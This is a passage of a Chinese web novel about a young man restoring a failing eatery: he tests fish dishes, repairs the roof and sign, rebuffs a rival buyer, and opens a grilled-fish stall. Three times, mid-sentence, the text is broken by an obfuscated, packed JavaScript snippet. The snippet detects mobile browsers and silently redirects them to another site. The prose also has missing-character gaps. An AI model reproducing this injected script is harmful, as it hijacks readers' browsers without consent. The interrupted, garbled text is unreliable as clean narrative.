口感好又如何?那些客人哪懂什么好吃不好吃,全天下的鱼都一个味,差不多口味能卖钱就够了,浪费这么多功夫试菜,压根就不会有人来吃。 要是把这些鱼都试完了,他的鱼汤不就飞了? 浪费! 且试吧,看你能试出什么山珍海味来! 众人去忙活,温沅把余□□来,打算问问他平时捞了鱼都有什么做法。 余浪刚要回话,最先做的清蒸大鲤鱼出锅了。 “少东家,”陈大立把蒸鱼端到后院小桌上,“您尝尝?” 4. 食肆整治(四) 清蒸大鲤鱼冒着热气,热油还在滋滋作响,葱花的清香扑鼻而来,有少许的腥味,但不算很浓,温沅看了陈大立一眼,想起坨坨面,有点不相信这是出自同一人之手。 “少东家,这道清蒸鱼闻着就香啊!”陈贵礼对此连连点头,转头问其他人,“闻着就想吃了!是吧?” 吕三娘搓着襜衣站在一旁连忙点了点头,闻着的确是香。 周七豆守着大堂那五桌寸步不敢离,郭巴子闻香而来,很直接地说:“想!” 所有人都等着温沅品尝。 余浪拿来长椅放在温沅身后,等温沅坐下后,从筷筒抽出一双筷子递到温沅手边。 温沅抬眼扫过余浪冷硬的脸庞,这人还挺有眼力劲儿。 他接过筷子,轻嗅了一下,挑了块鱼腩放入口中。 陈大立迫不及待问道:“少东家,好吃吧?” 温沅没说话,放下筷子对陈大立说:“你来试试。” 陈大立不明所以地试了一口,“挺好吃啊,这豉油酱汁可是新进的货呢。” 陈贵礼见状,也试了一块,味道确实不错。 “余浪,你卖鱼,想必经常吃,你来。”温沅说。 余浪一试就知问题出在哪,“蒸太久,鱼肉老了。” “怎么可能!”陈大立不信,又吃了一块,“鲤鱼就是这样的口感,怎会老?少东家,我做大厨这么些年,一直是这样蒸,就没有客人说过鱼肉老。” “除了鱼肉老,酱汁的口味也有些偏重。”温沅说。 “少东家,您不常吃蒸鱼自是不懂,清蒸鲤鱼,酱汁不重无法让鱼入味。”陈大立解释道。 温沅在青州城时,就好去各家酒楼食肆小摊小店寻好吃的,要说做菜他确实一窍不通,可论吃,他敢称得上一句精通。 清蒸鲤鱼该是什么口感,他心里一清二楚。 “这个不行,重新蒸,要嫩,酱汁减淡。” “少东家,您先前没经营过食肆,不懂亦能理解。”陈贵礼说:“以前有不少客人点过这道菜,都不曾说有问题,不能您一句觉得不行就要重做,这得浪费多少柴火?食肆本就没甚么钱,可不能这般浪费呀!” “端这样的菜上桌才是浪费柴火浪费鱼。”温沅没管他红一阵白一阵的脸色,曲指轻敲桌子,“重做。” 陈大立脸色一变,看向他叔父。 少东家意已决,陈贵礼无奈挥手让陈大立去重做,陈大立愤愤不平地去了。 郭巴子见气氛不对,赶紧溜回大堂。 吕三娘连忙过去杀鱼,她挑了条最鲜活的鱼,刚要捞起,就被陈大立怼了一下。 这条大肥鱼可是留给他晚上拿回家吃的,屁崽子不配吃! “我来。”陈大立夺过她手里的刀,“你去把盐酒姜葱弄了。” “知道了。”吕三娘擦净手,进厨房备菜。 蒸鱼前需腌制一盏茶的时间,再上灶蒸上一刻钟,陈大立怕温沅再给他挑刺,因而站在灶前紧紧盯着。 后院三人在等着鱼出锅,陈贵礼瞄了余浪一眼,对温沅说:“少东家,鱼做得再好,也只是一种菜品,客人来了食肆都没法吃别的肉菜,巧妇难为无米之炊,食肆难挣钱啊,您说是不是这个理?” “确实。”温沅思考片刻,“等卖鱼挣了钱,还完债就能恢复供货了。” 陈贵礼一愣,“那得到什么时候?三个月都未必能做到啊。” “陈掌柜就不能说些吉利话?”温沅说:“何不祝食肆早日发大财?” 陈贵礼腹诽:那还不如卖了食肆呢,一举多得。 他恭祝不出口。 温沅不想理他,看向余浪,余浪顿了顿,低声说:“少爷发大财。” “好说好说。”温沅扬起下巴,“你也是。” 陈贵礼一口气梗在心口。 不消多久,大勺舀起烧得滚烫的油,配上花椒,“嗞啦”一声,蒸鱼瞬间增色增香。 蒸鱼还未上桌,香味就飘了过来。 温沅轻挑眉头,这次比刚刚的香味要浓郁不少,腥味也没了。 陈大立端菜上桌后,立在一旁一声不吭。 陈贵礼刚被噎,心里亦是不爽利,但还是站出来缓和道:“少东家,您看这条蒸鱼行不行。” 温沅执筷挑了块最容易柴的鱼肉放入口中,花椒味麻,葱花清香,酱汁口味不重,鱼肉的口感嫩滑了许多。 虽说比不上在青州城酒楼吃过的清蒸鱼,但对于食肆而言,这个味道算是勉强过关。 他看向不服气的陈大立,“两条蒸鱼一起试吃,看看有何区别。” 陈大立心想都是我做的,我能不知道区别?但谁在意呢?客人又吃不出差别,忙起来的时候谁还记得蒸鱼蒸了多久,能吃不就够了? 纯纯挑刺罢了。 他不敢呛声,两条鱼各自试过之后,不情不愿道:“是嫩了些。” 陈贵礼跟着试了一块,不得不说,的确比上一条好吃。 但这也是他大侄子厨艺好,不然能做出这般美味的蒸鱼么? “少东家,以后就按这个做?” 温沅转过头问余浪,“你觉得如何?” 余浪眼底闪过一丝意外,低声道:“少爷问我?” “这是你送来的鱼,自然得让你满意。” “只要少爷满意。” 温沅哼笑一声,满意地说:“以后蒸鱼就按这个口感味道来做,下一道。” “还试?”陈大立难以置信。 “当然。”温沅疑惑,“有何疑问?” “……”陈大立沉着脸去了。 过了许久,辣烩鱼腩、砂锅焖鲈鱼、白玉鱼汤、鱼蓉粟米羹,全部端上了桌。 温沅一一试过,逐个点过去,“鱼腩太碎不够辣,焖咸了配菜摆得不好看,汤不浓白还带腥,鱼羹稀成了水。” 陈大立气得想罢工,十来岁的屁崽子懂什么吃鱼!他做的这几道鱼一点问题都没有,这就是故意刁难他! 陈贵礼脸色铁青,吕三娘战战兢兢一句话不敢说。 唯有余浪平静地站在温沅身后,目光淡然。 这时,周七豆从大堂进来,来到温沅身边,小声说:“少东家,有客人问是不是后厨做了鱼,想点一道砂锅焖鲈鱼。” “有客人问,说明鱼不错。”陈贵礼赶忙说:“少东家,不如就这样上吧?您不能这般任性呐……” “不上。”温沅筷子一甩,做足了任性的模样,“七豆,你和客人说今日食肆菜品没有鱼,请他改日再来。” 周七豆连忙点头,回了大堂。 陈贵礼脸上精彩纷呈,“少东家,再这般试下去,别说鱼不够,就是调料配菜都不够。” 一直沉默不语的余浪忽然开了口,“鱼管够。” 温沅不由地仰头看余浪,但余浪太高,他得微微靠后才能看清余浪的神情,余浪一脸的理所当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224305|197551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然。 “鱼够。”温沅笑了笑,“至于配料,先支三……”他顿了顿,“两百文,一样买一点,够试菜就成,等试好了,再按日进货。” 就没有哪家食肆做菜是按日进调料的! 说出去都惹人笑话! 陈大立震惊。 “三娘,明早便辛苦你去将配料买齐。”温沅说。 吕三娘上前一步刚要说话,陈大立站出来说:“少东家,我去买,往常都是我来采买,三娘不懂那些。” 温沅看了吕三娘一眼,吕三娘点了头。 食肆的采买只会给陈大立和陈贵礼经手,她们这些伙计是万万碰不得的。 “那就辛苦陈大厨跑一趟。” 此事定下,温沅站起身:“还有,左右食肆也没生意,不如今日将食肆重新清理一遍,蜘蛛网、酒坛木栏上的灰尘、油腻腻的帘栊……陈掌柜安排一下。” 他来了这么些天,光顾着逃债,实在没闲心管这些细枝末节的小事,现在既然决定好好经营,就打算修整修整食肆。 食肆看着脏兮兮,饭菜再好吃,客人吃得心里也别扭。 安排人的活儿陈贵礼应得很快:“知道了少东家。” 所有人各自去忙活,人一散,温沅转过头对余浪说:“你可会修屋顶?” 他问完一想,卖鱼郎应当只会海里游,哪能天上飞? “罢了,我还是去问问别人。” 余浪眉毛都快挑飞了,“修哪里?” “就这儿!” 食肆进门左边摆了三张四方桌,右边一间小包厢,包厢旁边摆了两张四方桌。 透着光的屋顶便在右边两张桌子中间,这几日清晨偶有细雨,积水攒着攒着落到地上弄得湿漉漉的,走路都不好走。 余浪从杂物房搬来木梯,架在食肆门口,几步爬了上去。 温沅在下面看着他一双手脚又长又有力,速度极快,上了屋顶没一下就不见了人,他后退几步都没看清,索性站到木梯旁看周边吃食摊上都在卖什么。 晚食将近,各家摊子铺子升起袅袅炊烟,老板伙计忙得热火朝天,馄饨包子、豆花、煎饼卷饼、热饮子热茶,应有尽有。 温沅馋了。 “有八片瓦烂了,得换新的。”余浪拿着烂瓦片走到屋顶边沿,看到温沅跟丢了魂一样盯着煎饼小摊,挑了挑眉,“少爷?” 温沅咽了咽口水,往后退了两步,转头见余浪一手拿着瓦片,一手扶着木梯,长腿踩下两个台阶,一个转身干脆利落地从上面跳下。 衣袂轻扬,落脚平稳。 身手了得啊。 “要换这么多?”温沅犯愁了,“你买过瓦片么?多少钱一片?” 余浪心知小少爷囊中羞涩,“城西有一家瓦片坊,价钱比在城东便宜,只需五文一片,就是路远了些,来回需两个时辰。” 这也太远了,来回一趟半个早上过去了,温沅问:“城东的瓦片多少钱一片?” “八文。” “……明日辛苦你了。” 跑一趟能省二十四文呢。 “不过,”余浪拿着瓦片互敲,一下碎成好几片,“屋顶的瓦片有些老旧不平整,以后还得换一遍。” 八片都得四十文,要是全换不得十几两银子? 温沅“嘶”了一声,以后的事以后再说罢。 等有钱了,还怕买不起几片瓦?整间食肆推倒了重新盖都行! 5. 食肆整治(五) 食肆里,郭巴子拿着布巾随意拍着木架,厚重的灰尘“轰”地飞起,散在空中成了尘雾。 他偏过头嚎咳了好几声,手肘捂着脸低声抱怨:“以前都没这么多活儿,少东家来了,不是擦桌子就是擦木架,烦人得很。” 周七豆卖力干活儿没接茬,只要少东家不卖食肆,他什么活儿都愿意干。 郭巴子鄙夷地看了他一眼,自顾自说:“待我拿了工钱我就走,这活儿谁爱干谁干去。” 说完看到温沅进来,连忙转过身装模作样擦木架。 温沅指尖擦过木栏杆,有些湿,不过油腻腻的感觉的确没有了,舒爽了许多。 “以后每日开门前和打烊后,都得清理一遍。” “啊——”郭巴子愤然甩开布巾,暗自腹诽:“不干了不干了,再干下去我就是狗!” “知道了少东家。”周七豆兢兢业业。 后厨多年未曾擦洗过,积攒下来的油灰比鞋底还厚,陈大立专挑轻便的活计左一下右一下干着。 吕三娘默默提着一木桶水边走边用手撒在后厨各处,灰尘被水压着不会到处飞,水撒一遍,拿起几颗无患子揉开就大力搓洗。 所有人各自忙活,只有陈贵礼背着手四处闲走,无所事事的样子,温沅好心建议:“陈掌柜不如扫一扫地?” “这我……”他在家就没扫过地! “拆帘栊去洗也行。” “那还是扫地……”陈贵礼赶忙去拿扫帚。 “少爷,”余浪从外面进来,往柜台走去,对坐在柜台后的温沅说:“招幌换不换?” 现在的招幌和牌匾写的还是“孙家食肆”,如今换了新主,按理说要换,可是换招幌和牌匾还不知花多少钱呢。 换不起啊换不起。 温沅颓了。 怎么哪哪都要钱! 余浪有些好笑地看着他:“牌匾可先拆下不用,先将招幌换了,招幌换起来不麻烦。” “自然不麻烦。”温沅无语地看着他,鼓起半脸,“花钱能办妥的事儿都不是麻烦事儿。” 余浪眉心微动,“少爷想不想换?” 温沅修长的眸子亮了一下,“你有法子?” “嗯。”余浪单手撑着柜台,微微弯腰看他,“少爷想换就有法子。” 那招幌温沅早想换了,他见余浪弯腰以为是离得远听不清,往前靠了靠,“我说想换,你就能换?” “能。”余浪不动声色地挑了挑眉,“我去把招幌拆下,明日给少爷带来。” “那你给我换个‘温家珍馐美馔大酒楼’,上边再画点鱼啊腿啊面啊——” “少爷少爷,”余浪打断他,“是明日带来,不是明年。” “行吧。”温沅啧了一声。 忙起来时间过得快,到晚食前,食肆简直大变样。 被厚厚的灰尘遮盖住的木围栏终于露出了本来面目,柜台上乱糟糟的账簿笔筒和算盘摆到原本的位置,摇摇欲坠的酒坛子总算顺眼,七扭八扭的桌椅也全都摆放整齐。 唯有一点小瑕疵,用久的桌椅留下不少磕碜的痕迹,痕迹无法修补,只能换。 罢了罢了,以后再说。 食肆伙计们辛苦清扫了这么久,温沅让吕三娘把下午做的鱼全部拿去热,就当犒劳一下伙计们。 吕三娘十分高兴,好久没沾过荤腥,一下来了六道荤菜,堪比过年。 周七豆咽了咽口水,默默进去帮忙。 郭巴子更是乐得早早守在后厨门口,重重地吸了口仙气,“香!” 只有陈贵礼和陈大立暗自咬牙切齿,忙了大半天,原想捞几条新鲜鱼回家煲汤,结果一条都没捞着! 着实可气! 余浪不在食肆吃晚食,他拆了招幌就下工回家。 从食肆回到垌渔村约莫半个时辰,全程水路。 天将暗,码头撑船的船夫大多回家吃饭去了,还想继续拉客的几位老船夫在岸边起火烤饼子。 晚上的船费比白天贵,水性好熟路的老船夫都不舍得放过。 有时余浪也会带几个客,他习惯性往浮桥上看了一眼,看到三个汉子或坐或蹲在浮桥边上,一动不动地盯着他。 他扫了几人一眼,到岸边解开船只麻绳。 麻绳一解,三人猛地站起身,甩了甩肩膀朝他走来。 余浪不紧不慢地卷起麻绳,偏过头看了他们一眼,眼神一对上,三人止了步。 天越暗,河越深,打眼看去像是无尽深渊,两边山林更是沉得密不透风,黑压压一片,叫人胆寒。 岸边烤饼的几个老船夫似乎察觉到不对劲,纷纷停下动作。 余浪把卷好的麻绳扔到船上,转过身看着三人。 三人站在原地看了余浪一会儿,又看了一眼他的船,一句话没说便转头走了。 余浪皱了皱眉头。 “余小子。”打招呼的是何老头,他看着三人离去的背影,“这几人咋回事儿?不是坐船的?” “不知。”余浪回道。 “你不认识啊?瞅着像是冲你来的。”何老头继续打听。 “不认识。”余浪心里过了一遍几人的面孔,的确没印象,“我先回了。” “哎等等。”何老头快速碾灭火堆收拾东西,“今日没什么客人,我同你一道回吧。” 两人一起回,只需开路的船点灯笼,后面跟着的船能省点灯油蜡烛。 “嗯。”余浪率先跳上了船,等何老头收拾完,拿过船桨撑到岸边一推,乌篷船便往河里划去。 天彻底黑了,余浪点起灯笼,昏黄烛光照亮船头一隅,这点光微不足道,却是后边船只唯一的方向。 “听说你去温少爷那家食肆干活儿了?” 余浪应了一声。 “那家食肆眼瞅着都要倒闭了,还欠这么多债,你去那怕是工钱都拿不到,糊涂啊。” 余浪想到今日温沅试菜的严谨,“食肆比之前好。” “能好到哪儿去?”何老头不信,可他心知余浪不是个说大话的性子,又问了一句:“怎么个好了?” “菜比以前好。”余浪回道。 “这我就不信了!”何老头摆摆手,这余小子看着高大威猛,指不定被人用言语诓骗了,他叹了叹气,“还不如跟丁家食肆低个头,哪能跟钱过不去呢?” 余浪没说话。 低头是不可能的,他甚至想把丁家食肆砸到倒闭。 他没有给人打白工的嗜好。 翌日天微亮。 温沅站在凌乱的院子里,望着屋顶上不知什么时候飞来的一只燕子,燕子正茫然地啄瓦片,也不知有没有啄到食物。 想来也是没有的,屋顶除了瓦片便是灰尘沙粒,怎会有美食。 “少东家,今天想吃什么早饭?”吕三娘走过来问。 “有什么早饭?荠菜包?”温沅想到昨日吃的荠菜包,味道还不错,要是能来个煎饼豆花卤蛋就更好了。 “今早卖咸菜稀粥。”吕三娘说:“面粉不剩多少,包不了荠菜包,想吃包子得去外边买。” 他们开食肆的想吃包子煎饼还得去别家买! 这还是食肆么! “就……咸菜稀粥吧。”温沅叹了口气。 稀粥还未上桌,周七豆匆匆从大堂进来,说是丁家食肆的丁老板来了,想找东家聊一聊。 说完很是忐忑不安地看着温沅。 温沅闻言挺意外,他刚接手食肆时,有许多商铺老板过来打听,得知他有卖食肆的念头,便各自出价,其中出价最高的就是丁家。 那会丁家来的只是食肆的大掌柜,却不曾想今日东家竟然亲自上门。 看来丁家是真想买食肆。 来到大堂,温沅更觉意外,这位丁老板,他见过。 “孙小侄儿,许久不见,可还记得你丁伯伯啊?”丁志德站在酒柜旁,身旁跟着两个打手,见温沅从后院出来,笑着走过去。 温沅顿了顿,不咸不淡地打了个招呼:“丁老板。” “叫丁伯伯,喊什么丁老板,见外了不是?”丁志德上下打量他。 温沅扯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224306|197551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴角笑了笑,本就只在孙家见过几回,何来见外一说? 那时他尚年幼,孙府常常举办宴席,这位丁老板每次都会上门,然而论起孙家和丁老板的交情,却是一般。 现在自称“丁伯伯”,也不怕抽着自个儿脸。 “丁老板今日来食肆,有何事?” “前几日忙着,孙小侄儿来了今州城也没能给你接风,听说你不打算卖食肆了?” “食肆好好的,本就不打算卖。”温沅笑笑,昨天刚下的决定,今日就上门了,消息传得挺快。 “你啊,还是年轻,卖了食肆,拿着钱再回家和你爹认个错,这不比你起早贪黑经营食肆强?”丁志德说:“这样,我给你爹去封信,帮你说说好话,父子哪有隔夜仇啊不是?” 提起孙家,温沅脸上的笑意淡去,他来今州城没两天,“假少爷”的传闻散得比漫天柳絮还纷飞,他不信丁志德没听说。 “丁老板如此好意,我也不好推辞,七豆,将笔墨拿来。” 丁志德愣了愣,他不过随口说说,一般人就给推掉了,哪有人会顺竿爬! 他一瞪眼,笔墨就被放到面前的四方桌上。 “七豆啊,今日快马加鞭送到青州城,你可知要多久?”温沅问。 周七豆对这个不了解支吾半晌说不出,在酒柜旁偷听的郭巴子闻言立即说:“少东家,十日能到。” “那还挺快,我之前从青州城到这里花了二十日呢。”温沅笑笑,转头对丁志德说:“辛苦丁老板,天刚亮,现在写好了,一会儿就能送出去,不会耽误时间,我能不能重回孙府,就看丁老板的本事了。” 丁志德抽了抽眼角,我就算有天大的本事,你一个假少爷也回不了孙府! 痴心妄想呢! 温沅摇着折扇等着他写,面上十分期待。 周七豆和郭巴子虽然听说过少东家是假少爷和被逐出家门的事情,要说不好奇绝无可能,但他们也只会私下议论,没谁真的敢当面揭人伤疤问此事。 丁志德不尴不尬地笑了两声,瞅了眼笔墨没动。 就在这时,余浪拿着卷好的招幌背着新捞的鲜鱼走进食肆,他刚踏进门槛,所有人都转过了头。 包括丁老板带来的两个打手,他们看到来人,不自觉绷紧了双臂。 余浪扫了两打手一眼,竟是昨日码头遇到的三人之二,他又看了看丁志德,径直走到温沅面前,“少爷,招幌换好了。” “我看看。”温沅刚想拿,余浪已经把招幌展开。 原本的招幌上写着“孙家食肆”,现在上头的“孙”字被同颜色的布盖住,布上写着“温”,周围还用针线绣了条简单的鲤鱼,说不上栩栩如生,但绣工不差。 “好巧思。”温沅说:“先挂上去。” “好。”余浪应完,把招幌卷好,先去后院放鱼篓再去搬木梯。 丁志德看着余浪离去,转头对温沅拱拱手:“既然食肆不卖,那我就不多叨扰了。不过温老板年纪尚轻,我作为过来人奉劝你一句……” 说着,压低声音只让温沅一人听见,“不要什么人都招进食肆,像方才那位卖鱼郎,可是个大麻烦,招惹上想摆脱可就难了。” 温沅眯缝着眼看他,笑了笑,用所有人都能听到的声音说:“丁老板有话直说便是,话说一半打谜语,那我姑且认为这是离间?” 离间?要卖食肆? 郭巴子竖起耳朵偷听,周七豆猛地转头紧盯丁志德。 “……”丁志德脸色一僵。 做了这么多年生意,老板之间讲究的就是一个意会,你懂我懂大家懂,就没人如此直白。 好言相劝竟然当面拆穿! 什么人呐! 温沅见余浪搬着木梯从后院出来,连忙叫住他:“余浪,丁老板有话和你说。” “什——”丁志德一言难尽,“温老板不听劝,便算我多嘴,告辞!” 说完带着两个打手甩袖而去。 “怎么了?”余浪问。 “没事,装招幌去。”温沅挥手。 6. 食肆整治(六) 旧牌匾拆下,新招幌挂上去,意味着食肆换新,就算门面不改,但熟知的人都知晓这家食肆已易主。 新的食肆,新的日子。 等赚了钱,什么招幌牌匾瓦片木架柜子桌椅统统换一遍! 温沅看着迎风飘扬的新招幌心情大好。 余浪换完招幌,从胸领掏出一个油纸包,递给温沅。 “这什么?”温沅接过来,热的,油香浓郁,打开一看,“煎饼?” “嗯。”余浪说,“也不知合不合少爷的口味。” “你买的?”温沅问。 “杨家煎饼摊的。”余浪说,“味道还行,少爷试试。” 温沅咬了一口,双眸亮起,这不是还行,这是真的香,虽然不是当下煎好的,但热气不散,“怎想起买煎饼了,工钱没领倒是先花了钱。” “恰好路过。”余浪说,“从前在那处做过帮工,没花钱。” “嗯?”温沅一愣,“缘何不做了?” “没兴趣。”余浪说。 温沅咽下嘴里的东西,“那你对什么有兴趣?捞鱼?” “水里自在。”余浪说。 温沅想到余浪在水里睡觉的事,那真不是一般的自在,如鱼得水。 这是温沅近些日子吃到最好吃的煎饼,吃完还意犹未尽,甚至想舔舔爪子。 昨天他还对着对面的煎饼小摊流口水呢,现在吃完,闻着对面的味都不见得香。 他想了想:“要不……食肆也卖煎饼?” “卖不了呀!”陈贵礼摇头叹气,“现下哪来的钱买新豆子?都得紧着米粮面粉买呢。” “少东家,昨日您给的二百文,买了这些调料,一个铜板都不剩了。”陈大立把买回来的油盐酱醋糖摆在桌上,每样东西都不多,仅够这几日试菜用。 要想做得好吃,还得进些香料,香料最贵,左左右右都是花钱的地儿。 余浪扫了眼桌上的东西,看了陈大立一眼。 “……行吧。”温沅打消念头,现在还是将鱼做好,有了进账,才能一点点买新的东西,“今日继续试菜。” 陈大立瞄了陈贵礼一眼,陈贵礼说:“去吧。” 两人转身走去厨房,进了厨房,陈大立往门外瞟了瞟,掏出三十文给陈贵礼,“叔父,这是买调料剩下的钱。” 陈贵礼毫不客气地抓了二十文放进袖口,“剩下的给你家娃买点好吃的。” 陈大立看他一把抓走二十文,心里呸了一口,讨好地笑着,“替我家娃谢谢叔公。” “做菜去吧。”陈贵礼说:“做好些,不然又得来回折腾,那鱼都给你霍霍完了。” “叔父,要是这菜做得太好,食肆岂不是不卖了?” “你以为就这么几道菜,食肆能翻身?”陈贵礼不屑,“我几十年的老掌柜,不比他这废物少爷懂?起不来,迟早得倒闭,等着拿钱吧。” “还是叔父厉害。”陈大立说,“叔父,今日定给你留一条肥的!” 陈大立没点手艺做不了这么多年的大厨,他撸起袖子,抽出菜刀在磨刀石上唰唰两下,誓要让少东家看看他的好能耐。 温沅从钱匣拿出四十文给余浪买瓦片,千叮咛万嘱咐回来时要小心,瓦片易碎,一片五文,碎一片后果不堪设想。 余浪谨慎地把钱放入钱袋,谨慎出门,谨慎地买瓦片去了。 等他买瓦片回来修缮完,温沅已经试过一轮菜品,并且让陈大立重新做。 陈大立怒火中烧操着菜刀,吕三娘不敢触他眉头,一直战战兢兢地打下手,生怕哪件事做得不对要挨骂。 好几回她觉得陈大立有的步骤做得似乎不对,但也不敢出声。 毕竟陈大立才是大厨。 陈大立照着温沅的意见改了又改,逐渐上手。 幸得余浪每日带来的鱼多,试菜几日,初见成果。 当温沅说出“可以”那一瞬间,所有人都松了好长一口气,漫长的做菜折磨总算有了终点。 就连好脾气的的吕三娘都忍不住在心里想少东家的嘴真刁啊。 然而当众人那口气散出,少东家又开始琢磨着怎么做小鱼。 按理说三个手指宽的小鱼煎一煎最是好吃,但温沅觉得没什么特色,这样的小煎鱼鲜少有人点。 温沅想了想,转头问余浪:“你有什么想法?” “炙鱼。”余浪说。 温沅眼前一亮,对啊!炙鱼香气诱人,皮酥骨脆,若是现烤现吃,更是一绝。 陈贵礼说:“炙鱼能挣几个钱?还要浪费许多炭火,熬一锅鱼汤供客人们自行舀来吃最好,别家食肆都有免费的汤嘞。” “就炙鱼。”温沅一锤定音,“试。” “什么——”陈大立抱着头嚎道:“还要试菜?” “少东家,您这……”陈贵礼甩袖叹道:“花费这许多功夫,若是招不来客人可怎么办呐……” 周七豆和吕三娘忐忑不安地站在一旁,对于少东家试过的菜品,能不能招来客人,他们心里也没底。 郭巴子倒是没想那么多,他满心期盼着晚上又能有鱼吃了,还是炙鱼!想想就美啊! 食肆以前也曾卖过现烤的食物,只是后来生意日渐萧条,这些相较繁琐的烹饪方式便舍弃了。 周七豆从杂物间取出许久未用过的烤炉。 烤炉为长条槽形,四角长足,约莫半人高,双层炉身,上一层底部有条形镂孔,下一层和上层相似,只是少了镂空部分,用以承接烤炉炭灰。 烤炉许久未用,生了不少铁锈,不过炙鱼不用碰壁,擦洗干净就能使用。 周七豆忙活着擦洗,吕三娘去处理小鱼,而陈大立不情不愿地去弄烤酱汁儿。 市面上的炙烤香料和烤酱汁儿大差不差,弄这个不是难事儿,最重要还是不要把小鱼烤焦烤糊。 吕三娘把杀好的小鱼逐一划上两道花刀,刚想穿串时,才想起食肆里没有竹签。 街市上有卖削好的细竹签,不贵,五文钱就有一大扎,温沅纠结半晌咬咬牙让吕三娘去买,正好被余浪听到。 “明日我去砍根长竹来,削成竹签,够用了。”余浪说。 “你要捞鱼,还能砍竹子?”温沅问。 “嗯,顺手的事。”余浪说。 温沅心想丁志德说的话果真不能信,余浪是他招惹来的,像余浪这般能干的人,到哪都不愁好活计,然而来了这儿,工钱没谈过到底给多少,鲜鱼还是赊账的,一而再再而三地占了余浪好多便宜。 要说摆脱,也是余浪想摆脱他。 挟恩图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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隔壁面馆老板闲步到食肆门口,找郭巴子打听了一下,得知是温家食肆准备在门口弄炙鱼,心中不屑。 可架不住好奇,“这几日天天都是鱼味,你们家食肆,光吃鱼啊?” “是吧……”郭巴子心里也摸不准,每次试菜结束,那一碟碟的鱼都会留下给他们吃,虽说味道也好,但肯定比不上新鲜出炉的,奈何他没机会吃到,实际新菜品如何,也无从得知。 面馆老板看温沅那兴致勃勃的样子,忍不住说:“温少爷何必浪费这功夫呢,不如我多给五两,凑够八十五两,如何?” 温沅笑眯眯地说:“多谢老板的好心,要是我手头上没钱,便找老板您借点,想必老板如此热心肠不会推辞。” “你想得美!”面馆老板甩袖而去,他回了面馆,又拉了张长椅坐到门口,就想看温少爷辛苦折腾最后竹篮打水一场空,想想就令人高兴。 炉子弄好,第一条小鱼放上去,炭火热烤。 一阵炙鱼香传出,香味如烟般钻到热闹的街市上,诱得本不想留步的路人口舌生津。 面馆老板闻着香咽了咽涎水,摇着蒲扇的手一停,看着路人追着炙鱼香去到烤炉问价。 “伙计,您家烤鱼怎么卖啊?” “四文一条,七文两条。” “给我来两条!” 面馆老板猛地起身,瞪大双眼,“什么!就卖出去了?” 7. 食肆整治(七) “不过两条小鱼,不成气候。”面馆老板稳了稳表情,又坐下了。 他这厢刚坐下,忽见街边路人慢下脚步,纷纷转头望向温家食肆,似是好奇什么玩意儿能传出如此诱人的香味。 凑近一看,竟是炙烤小鱼。 要说炙香算不上特别,家里有钱有闲的都爱折腾一二,可温家食肆的炙香,竟是带了丝丝黎檬子味。 腌制好的小鱼摆上方形烤炉上,经由桑木红炭这么一烤,没一会儿鱼皮就变了金黄色,食肆大厨手持葵扇一边扇一边利落翻面,烟火欻欻向上飘。 金黄的鱼皮上滋滋冒着油泡,花刀处卷起了细边,刷上一层芝麻油和特制的酱汁,再翻面。 就这么来回翻,直至小鱼烤熟,最后再淋上一层令人口舌生津的微酸黎檬子汁。 齐活儿! 停下的路人都围了上去,之前曾来过孙家食肆吃饭的路人,面上不以为然。 “这家食肆能做出什么好东西?以前我来吃过。”这人戴着红头巾,摇着头歪撇嘴:“难吃极了。” 第一位买鱼的客人闻言,登时有些后悔:“真难吃啊?我都付钱了。” “哦哟,那你被骗了,不如叫那老掌柜退钱罢。”红头巾说。 客人立刻望向温沅,方才是这位小少爷收的钱。 温沅笑了笑:“您可先试试,若是您觉得不好吃,我便送您一条的大鲜鱼,如何?” 客人犹豫片刻:“行吧。” 烤鱼小串无需纸包,拿在手上便能吃,客人接过手,香味扑鼻而来,他胡乱吹了几口,迫不及待放入口中,他想着不好吃还能挣条鲜鱼回家焖。 咬下第一口时,一句“给我送鱼”都要喊出来了,这时口中油香炸开,鱼皮略微焦黄,脆香可口,鱼肉鲜嫩不干,就连鱼刺都带着入骨的果香。 客人眼前一亮,着急忙慌又是第二口。 一旁的红头巾见状,连忙问:“咋样?” 客人舍不下嘴,说不出话,扬起拇指冲红头巾连连点头,口中嗯嗯啊啊赞叹不已。 “真这般好吃?莫不是骗人?”红头巾不信,“给我来一口。” 那客人愣了愣,确认自己真的不认识这红头巾,“自个儿买去!” “小气!”红头巾犹疑着点了一条,拿到手上时,他依旧不信。 当咬下第一口,焦黄的酥脆鱼皮发出悉悉索索的小脆响,以往吃过的烤鱼也就鱼皮香脆,大多鱼肉都没滋没味,然而手中这条炙鱼却是从皮到骨都咸香适中。 这味儿,太香了! 一条没吃完呢,红头巾伸出双指,而后比了个“四”,不言而喻。 十八枚铜钱丢到烤摊旁的瓷碗里,发出叮呤哐啷的响声,他头也不回地进了温家食肆,这不得坐下慢慢吃嘛。 周七豆在食肆门口看得一愣一愣的,直到温沅叫了他一声,才急忙进去招呼客人。 面馆老板面色一僵,屁股生火了般忍不住站起,想了想又顿住,不过一两个客人,这有什么好稀奇的? 